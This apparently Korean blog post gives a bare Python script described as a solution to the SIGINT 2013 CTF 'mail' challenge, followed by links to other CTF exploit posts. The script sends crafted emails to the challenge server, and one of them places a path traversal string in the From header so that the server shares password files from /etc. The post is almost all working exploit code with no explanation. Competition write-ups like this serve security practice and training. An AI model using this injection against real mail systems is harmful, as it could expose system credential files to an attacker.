본문 바로가기

Computer Security/CTF

[SIGINT 2013] mail exploit






import smtplib import sys   sender = 'hans@ck.er' receivers = ['test@b3.ctf.sigint.ccc.de']   if sys.argv[1] == "tunz": message = """From: ~~~~~~your email address~~~~~~ To: cloud <test@b3.ctf.sigint.ccc.de> Subject: get passwd   This is a test e-mail message. """ else: message = """From: /../../../../../../../etc@asdf.com To: cloud <test@b3.ctf.sigint.ccc.de> Subject: share passwd ~~~~~~your email address~~~~~~   This is a test e-mail message. """   print message     smtpObj = smtplib.SMTP('localhost') smtpObj.sendmail(sender, receivers, message) print "Successfully sent email"


'Computer Security > CTF' 카테고리의 다른 글

[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23
[SIGINT 2013] trollsex(tr0llsex) exploit  (0) 2013.07.08
[SIGINT 2013] proxy exploit  (0) 2013.07.08
[defcon 2013] annyong exploit  (1) 2013.06.28
[defcon 2013] gnireenigne, musicman, exploit  (0) 2013.06.17